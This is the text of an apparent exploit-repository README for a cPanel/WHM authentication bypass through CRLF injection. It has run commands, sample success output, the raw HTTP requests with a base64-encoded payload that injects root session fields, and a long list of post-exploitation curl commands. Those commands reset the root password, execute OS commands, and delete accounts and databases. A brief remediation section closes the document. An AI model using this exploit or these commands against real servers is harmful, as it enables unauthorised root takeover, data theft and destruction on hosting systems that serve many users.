# Python 3.6 or higher required
python3 --version

# Install required packages
pip install -r requirements.txt

requests>=2.28.0
urllib3>=1.26.0

git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit

python3 exploit.py --target https://target.com:2087

# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose

# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080

# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts

# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30

=======================================================
 CVE-2026-41940 - cPanel/WHM Authentication Bypass
 Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
 Exploit Version: 1.0
=======================================================
 Target      : https://target.com:2087
 Started     : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}

=======================================================
 EXPLOIT SUCCESSFUL
=======================================================
 Target              : https://target.com:2087
 Token               : /cpsess1234567890
 Admin URL           : https://target.com:2087/cpsess1234567890/
 Version             : 11.110.0.85
 Verification Method : url_format
 Completed           : 2026-07-26 22:23:25
=======================================================

[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================

POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=wrong_pass

Set-Cookie: whostmgrsession=base64_encoded_data

GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Location: /cpsess1234567890/

# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"

# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"

# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"

# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"

# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"

# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"

# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"

# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"

# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"

# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"

# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"

# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"

# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"

# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"

# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"

# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"

# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"

# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"

# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"

# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"

# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
  -d "user=root&pass=NewP@ss123"

# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
  -d "username=testuser&domain=test.com&password=TestPass123&plan=default"

# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
  -d "script=id"

# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
  -d "user=testuser"

# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
  -d "user=testuser"

# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
  -d "user=testuser"

# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"

# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"

# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"

# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"

# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"

# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
  -d "db=test_db"

# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
  -d "db=test_db"

# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"

# 1. Update cPanel/WHM immediately
/scripts/upcp --force

# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel

# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall

# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication

# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords

# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"

# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done

# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ==="
  cat /home/$user/.ssh/authorized_keys 2>/dev/null
done

{
  "timestamp": "2026-07-26T22:23:25.123456",
  "target": "https://target.com:2087",
  "status": "success",
  "token": "1234567890",
  "detected_version": "11.110.0.85",
  "vulnerable": true,
  "verification_method": "url_format",
  "notes": "Root access confirmed; Token verified",
  "exploit_name": "CVE-2026-41940",
  "cvss_score": "9.8",
  "description": "cPanel/WHM Authentication Bypass via CRLF Injection",
  "exploit_version": "1.0"
}